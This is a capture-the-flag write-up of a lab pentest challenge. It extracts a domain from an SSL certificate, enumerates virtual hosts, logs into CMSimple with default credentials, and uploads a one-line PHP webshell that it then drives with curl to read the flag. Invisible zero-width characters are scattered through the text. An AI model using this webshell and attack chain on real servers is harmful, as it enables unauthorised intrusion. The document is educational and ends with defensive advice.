SSL

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: arbitrary_file_upload, default_credentials, ssl_certificate_disclosure, vhost_enumeration

Summary

Task: Pentest a server with SSL/HTTPS. Solution: Extract domain from SSL certificate, enumerate virtual hosts, find CMS with default credentials, upload PHP webshell for RCE.

SSL - Hackerlab

Description

"Да, SSL скрывает от Вас данные. Но он также может Вам подсказать некоторую информацию."

Target: 192.168.2.207
Ports: 22 (SSH), 80 (HTTP), 443 (HTTPS)

Analysis

The task hints at the SSL certificate as a source of information. When connecting to the HTTPS port, you can extract certificate data that often contains domain names, email addresses, and other useful information.

Solution

1. Port Reconnaissance

 bash read-only • copy allowed Copy
nmap -sV 192.168.2.207

Result:

• 22/tcp - OpenSSH 9.7
• 80/tcp - Apache 2.4.62 (Unix)
• 443/tcp - Apache 2.4.62 (Unix) + SSL ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The web server shows the standard "It works!" page.

2. SSL Certificate Analysis

 bash read-only • copy allowed Copy
openssl s_client -connect 192.168.2.207:443 2>/dev/null | openssl x509 -noout -text

Extracted information:

• CN (Common Name): ssl.cdb
• Email: sergey@ssl.cdb
• Organization: Codeby Games

The domain ssl.cdb is a key finding!

3. Virtual Host Enumeration

Knowing the base domain, we check subdomains via the Host header:

 bash read-only • copy allowed Copy
# Check base domain
curl -k -s https://192.168.2.207/ -H "Host: ssl.cdb" | wc -c
# 45 bytes - same "It works!" page
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Subdomain enumeration
for sub in www admin cms api mail dev test; do
    size=$(curl -k -s https://192.168.2.207/ -H "Host: $sub.ssl.cdb" | wc -c)
    echo "$sub.ssl.cdb: $size bytes"
done

Result:

• cms.ssl.cdb - 12457 bytes (different from the rest!)

4. CMS Investigation

 bash read-only • copy allowed Copy
curl -k -s https://192.168.2.207/ -H "Host: cms.ssl.cdb"

Discovered CMS: CMSimple 5.15

Login page: /?&login

5. Credential Guessing

Tried standard combinations:

• admin:admin - success!

6. Webshell Upload

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CMSimple has a file manager. Uploaded a PHP shell:

 php read-only • copy allowed Copy
<?php echo "test"; system($_GET["cmd"]); ?>

Upload path: /userfiles/downloads/test.php

7. Command Execution and Flag Retrieval

 bash read-only • copy allowed Copy
# RCE verification
curl -k "https://192.168.2.207/userfiles/downloads/test.php?cmd=id" -H "Host: cms.ssl.cdb"
# uid=33(www-data) gid=33(www-data)

# Flag search
curl -k "https://192.168.2.207/userfiles/downloads/test.php?cmd=find+/+-name+*flag*+2>/dev/null" -H "Host: cms.ssl.cdb"
# /tmp/flag.txt

# Read flag
curl -k "https://192.168.2.207/userfiles/downloads/test.php?cmd=cat+/tmp/flag.txt" -H "Host: cms.ssl.cdb"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain

SSL Certificate Analysis → Domain Discovery (ssl.cdb)
                                    ↓
                        VHost Enumeration (cms.ssl.cdb)
                                    ↓
                        CMS Discovery (CMSimple 5.15)
                                    ↓
                        Default Credentials (admin:admin)
                                    ↓
                        File Upload → PHP Webshell
                                    ↓
                        RCE → Flag (/tmp/flag.txt)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

1. Do not use real domains in SSL certificates on test servers
2. Configure default vhost to reject unknown Host headers
3. Change default CMS credentials
4. Restrict uploadable file types (block .php)
5. Isolate uploads directory from script execution ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍